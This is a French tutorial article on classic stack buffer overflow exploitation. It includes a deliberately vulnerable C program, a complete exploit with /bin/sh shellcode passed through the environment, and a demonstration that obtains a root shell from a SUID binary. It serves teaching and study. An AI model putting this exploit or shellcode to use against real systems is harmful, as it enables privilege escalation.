..                     ,.-..                     ,..,                                   
      |  |                  .`     `.                  |    |                                  
      |''|                  |`'---'`|                  |`'-`|                                  
      |<<|                  | _____ |             _,,..|[}{]|.,,,                              
    _,|<<|,,                | \ D / |         ,-``     |[}{]|    ``',                          
  .`  `..'  `.              |  |A|  |         |-,,     ``--''    _,-'|                         
  | `''--''` |              |  |T|  |         |   ``'''------''``    |                         
  |  [ O7 ]  |              |  |A|  |         |     [ Mindkind ]     |                         
  `.   ~~   .'              | /   \ |         `-,,    ] 1010 [   _,-'                          
    `''--''`      _,,,,,,...||  C  ||.....,,,,,,_ ``'''------''```                             
      |<<|.-''```` _,,,,,...|[  O  ]|...,,,,,,_  ```''-|[}{]|                                  
    ,```   .,-''```         |[  R  ]|          ``''-., |[}{]|,                                 
   |      `.        _,,,,...||  E  ||...,,,,,         '|[}{]| |                                
   |`-,_   `'-.,,_,`********| \   / |********`._,,.-'` |[}{]|'|                                
   |    `''-.,,,_ `````'''''---------'''''`````  _,,,.-|[}{]| |                                
   |`-,_         `````''''''---------'''''''`````      |[}{]|'|                                
   |    `''[                                          ]|[}{]| |                                
   |`-,_   [    Get Root,with small buff. no NOPs     ]|[}{]|'|                                
   |    `''[                                         ] |[}{]| |                                
    `-,_        [                              ]  _,,..|[}{]|.,,,                              
      |<;`'-.,,,_                             ,-``     |[}{]|    ``',                          
    ,`     ;     ```;;;;;;;;---------;;;;;;;;;|-,,     ``--''    _,-'|                         
   |`-,_   `'-.,,_,`********|[ !?! ]|********`|   ``'''------''``    |                         
   |`-,_`''-.,,,_ `````'''''---------'''''````|     ]  icefox  [     |                         
   |`-,_`''-.,,, `````''''''---------'''''''```-,,               _,-'                          
    `-,_`''-.,,,[                                ]``'''------''``                              
      |<`|'-.,,,_[                              ]_,,,.-|[}{]|                                  
      |<<|       `````''''''---------'''''''`````      |[}{]|                                  
      |<<|                  |]Aka: [|                  |[}{]|                                  
      |<<|             ___,,| _____ |....--------------|[}{]|,,,,,,,,,,__                      
      |<<|,,.--'''`````   __| \ D / |....--------------|[}{]|,,,,,,,,_   `````'''--..,,_       
  _.-'``       ,,.--'`````  |  |A|  |                  |[}{]|         `````''-.,,       ``'-., 
 ;           -`             |  |T|  |,.....----------..|[}{]|,,,_                `'           ;
 |`'-.,,       `''-..,,,_.-`|  |A|  |******************|[}{]|****````-_,,,,,.--'`       _,,-'`|
 |      ```''--..,,,,,_   ```````''''''''--------------''''''''```````   __,,,,..--''```      |
 |                     ````````''''''''''--------------''''''''''````````                     |
 |                                                                                            |



  [ 0x00 ] Sommaire ]
 
    ] Introduction ]

        ] 0x01 - Rappels Théoriques ]
                 - a] Dépassement de tampon

                 - b] Organisation de la stack
                 - c] Structure d'un buffer overflow

        ] 0x02 - Développement de vulnérable ]
        ] 0x03 - Exploitation de vulnérable ]

    ] conclusion ]





 [ Introduction ]
 
Vous le savez tous qu'un grand nombre de papers liés à l'exploitation de stack overflow est déjà 
existant, c'est pour cette raison que je ne rappellerai pas tout ce qu'il faut savoir à ce propos. 
Ceci dit j'ai quand même pris la peine de créer une partie de rappels théoriques, qui seront 
utiles pour notre démonstration.

Le but de cet article est de montrer comment fonctionne l'exploitation d'une faille présente dans 
un programme vulnérable par le biais d'un buffer très petit, et comment démontrer d'une manière 
plus que pratique qui n'utilise aucun NOP comment trouver l'adresse du shellcode du premier coup.

Bien sans plus attendre nous pouvons nous lancer dans la vraie partie de cet article. 

Let's go oveflow !




 [ 0x01 - Rappels Théoriques ]
     
    - a] Dépassement de tampon
    
    
Lorsqu'on définit une varaible, une zone mémoire est libérée selon les caractéristiques de la 
variable définie (type, taille, etc..). Dans cet espace, la variable attendra les informations 
qui lui sont destinées pour les inscrires en mémoire. Donc comme son nom l'indique le buffer 
overflow (dépassement de tampon) s'exécute quand on envoie plus d'infos que l'espace mémoire (la 
variable) peut en contenir.

    
    
    - b] Organisation de la stack


Quand un processus est lancé, un espace mémoire lui est alloué. C'est bien beau de dire ça, mais 
réellement, qu'est ce que c'est ? En faite c'est un bloc de 3 sections qui ressemble à ça:



                 ___________    
                |           |   <- adresses hautes
                |  Section  |
                |    Text   |
                |-----------|
                |  Section  |
                |   Données |
                |-----------|
                |  Section  |
                |   Pile    |
                |___________|    <- vers adresses basses




Cela va de soit que nous nous attarderons sur la section Pile (stack) :)

En faite ces trois sections conservent différents types de données: La section Text garde les 
instructions du programme en lecture seule, la Section Données des variables initialisées et 
non-initialisées, 

comme les variables dynamiques, etc..
Donc, il faut savoir que le sens d'empilement des objets en mémoire s'effectue des adresses 
hautes vers les adresses basses.

Très important: la stack fonctionne suivant une norme nommée LIFO (Last In First Out) qui 
signifie que le dernier objet mis en mémoire sera le premier à être dépilé de la mémoire.
On peut imager cette expliqution: vous avez une pile de CD, on ajoute des CDs, puis on dépile 
CD par CD, le dernier CD a être empilé sera celui du haut donc le premier à être dépilé.


Si on parle maintenant niveau programme, les instructions ASM qui permettent d'intervenir sur 
la mémoire sont PUSH et POP, PUSH pour empiler un objet, POP pour le dépiler.

Il est évident aussi que la stack n'a pas de taille fixe, et qu'elle varie en fonction des 
éléments ajoutés. Ceci dit ce n'est pas vraiment la stack en elle-même qui change de taille, 
mais c'est un pointeur de pile qui se déplace: j'explique le pointeur de stack ainsi nommé 
ESP, pointe sur le haut de la stack et se déplace vers le bas de la stack. Et c'est la 
différence entre le pointeur de la base de la stack EBP et celui du bas de la pile ESP qui 
donne la taille de la stack.


 
 Donc voici un petit tableau récapitulatif des pointeurs de piles:
 

     EBP: pointe sur le bas de la stack: vers les adresses hautes
    ESP: pointe sur le haut de la stack et se déplace vers les adresses basses
    EIP: c'est le pointeur qu'on va overwriter: il pointe sur la prochaine instruction à 
             éxecuter.


Bon si vous avez bien compris tout ceci, c'est un grand pas. Vous verrez par vous-mêmes que 
bien maitriser les actions effectuées par la stack ne sera pas utile que pour des stack 
overflow :)



    - c] Structure d'un buffer overflow
    

 Le principe du buffer overflow est de faire exécuter un code arbitraire à un programme 
vulnérable dans l'optique de prendre un contrôle Root d'une machine si le programme vulnérable 
a les droits du root. Ce code arbitraire est en réalité une portion de code hexadécimale 
"\xeb\xc0..." qui avant d'être retranscrit est un code assembleur qui permet de lancer /bin/sh 
(les shellcodes de type basique). Néanmoins, il y'a des shellcodes beaucoup plus évolués comme 
les Binshell, les shellcodes casseurs de chroot etc..



 Le scénario standard d'une exploitation est du type [NOPs][Shellcode][Ret Addr]
 Plus précisément, cette structure est composée de 3 parties:
 


 
   - Les NOP : Instruction ASM de valeur 0x90 qui ne sert à rien proprement dit, mais ici ils 
               servent à remplir le buffer
 
   - Le shellcode : donc on l'a vu plus haut, il lance le shell /bin/sh
   - La Ret Addr  : c'est l'adresse qu'on fera pointer dans les NOPs. Si c'est le cas, le 
                    shellcode sera exécuté.



  - Ret Addr: Definiton 
  

 Lorsque un programme fait appel à une fonction, il appel le point d'entré de la fonction, 
executer cette fonction pour finalement tomber sur un "ret", qui va modifier le flux d'execution 
du programme pour retomber sur le point d'entré de ce dernier et le programme continura ensuite 
son execution comme prévu.

  
 Maintenant l'objectif de l'exploit sera de modifier cette adresse de retour en overwritant le 
registre EIP pour remplacer son contenu pour faire retomber le flux d'exécution sur nos NOPs. 
Mais si vous comprenez bien le problème, on ne peut pas être certain de tomber sur les NOPs.
C'est pour ça qu'on utilisera l'environnement :> On placera en environnement le shellcode, on 
récupèrera plus facilement son adresse et on pourra l'exécuter à coups sur.
 
  



 [ 0x02 Développement de Vulnérable ]


     Code source:


/** Vulnerable.c **/ #include <stdio.h> #include <string.h> int main(int arc, char *arv[]) { char buffer[6]; if(arc == 2) { strcpy(buffer, arv[1]); } }
Je ne prendrais pas la peine d'expliquer ce code, il est extrêmement simple à comprendre. Donc ici la taille de notre buffer ne fera que 6 octets. donc on teste le segfault: icefox@evil~$ ./stack `perl -e "print('A'x15)"` Erreur de segmentation Le programme segfault comme prévu. Note: il est à savoir aussi qu'avant de vouloir overwriter EIP, il faut passer au dessus de EBP donc pour écrire au-dessus de EIP il faut 6 + 4(EBP) + 4(EIP) = 14 Octets. On vérifie cette règle: Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x14)"` Program received signal SIGSEGV, Segmentation fault. 0x41414141 in ?? () Avec 14 octets on note le 0x41414141 in ?? () -> l'adresse hexa ici est en faite EIP On teste avec 13 Octets: Starting program: /home/icefox/coding/vulnerable/stackoverflow/stack `perl -e "print('A'x13)"` Program received signal SIGSEGV, Segmentation fault. 0x00414141 in ?? () On voit que seulement 3 Octets ont overwrité EIP donc c'est bien vrai, il faudra 4 Octets pour écrire sur EBP et 4 de plus pour EIP. Donc on note: Taille du buffer -> 6 Taille du débordement -> 8 Ici on n?a pas besoin de récupérer l'adresse du buffer puisqu?on fera passer le shellcode en environnement :) [
0x03 - Exploitation de Vulnérable ] Bien, je l'ai dit au début, on va faire passer le shellcode dans l'environnement. Code source de l'exploit:
#include <stdio.h> #include <unistd.h> #include <stdlib.h> #define SIZEB 6 #define OWN 8 #define ROOT "./stack" #define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh)) #define ccopy(a, b) *((int *) &arg[1][a]) = b int main(int arc, char *arv[]) { char sh[] = "\x31\xc0\xb0\x46\x31\xdb\x31\xc9\xcd\x80\xeb\x0d" "\x5b\x31\xc0\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd" "\x80\xe8\xee\xff\xff\xff\x2f\x62\x69\x6e\x2f\x73\x68"; char *arg[] = { ROOT, "phear", NULL }; char *env[] = { sh, NULL }; arg[1] = malloc(SIZEB + OWN + 1); memset(arg[1], '0', SIZEB + OWN); ccopy(SIZEB+OWN-4, ARG); execve(arg[0], arg, env); }
Explication: En faite c'est la ligne suivante qui va calculer l'adresse du sh dans l'env: #define ARG (0xc0000000 - 4 - sizeof(ROOT) - sizeof(sh)) Le pointeur sur tableau *env[] contient seulement le shellcode Testons maintenant notre exploit: icefox@evil~$ ./exploit sh-2.05b$ Voilà ! on à chopé notre shell :) Il reste encore un problème: icefox@evil~$ whoami icefox Le programme vulnérable appartient à l'utilisateur "icefox" (moi quoi:>) donc nous avons les droits de cet utilisateur seulement. Simulons un programme vulnérable ayant les droits SUID: root@evil~# chown root.root stack root@evil~# chmod +s stack icefox@evil~$ ./exploit sh-2.05b# whoami root Oh yeah ;) [
Conclusion ] On a réussi à exploiter ce stack overflow sans avoir à calculer l'adresse de retour, qui n'aurait pas été l'adresse exacte, alors que là, du premier coup on tombe sur le shellcode sans avoir à se préoccuper d'un grand nombre de NOP (c'est pourquoi on voit souvent des "nops sux" :> ) Je tiens à préciser quelques points: - avec les nouvelles versions de gcc, un padding a été ajouté pour "retarder" les Bofs. En faite dans ce papers les démonstrations ont été faites avec les valeurs théoriques. Sur ma box, avec un buffer de 6 octets, l'overflow se produisait qu'à partir de 28 octets environ :) Ce padding met au point aussi une sécuritée anti off-by-one. - Finalement, je précise clairement que vous ne trouverez jamais ce genre de failles. En effet ces failles ne sont plus du tout répandues et ont toutes été quasiment exploitées et corrigées. Mais n'ayez raintes vous n'avez pas perdu de temps: comprendre ce principe c'est comprendre l'exploitation complète sous toutes ses formes. (off-by-one, etc..) Vous pouvez vous pencher sur des failles plus "à la mode " comme les Ret Into Libc, les Ret Into PLT etc... Icefox [www.artkod.info] [x] Spécial greets to Nelio pour la relecture et Nocte pour ce qu'il m'enseigne. Bibliographie: [1] Exploitation avancée des stack overflow - Nostrobo [2] Programmer un IDS contrant les shellcodes polymorphiques - Nocte [3] Smashing the stack for fun & profit - Aleph1 [4] Nop Sux ... Buffer overflow & shellcode sans Nops - Seb-Sb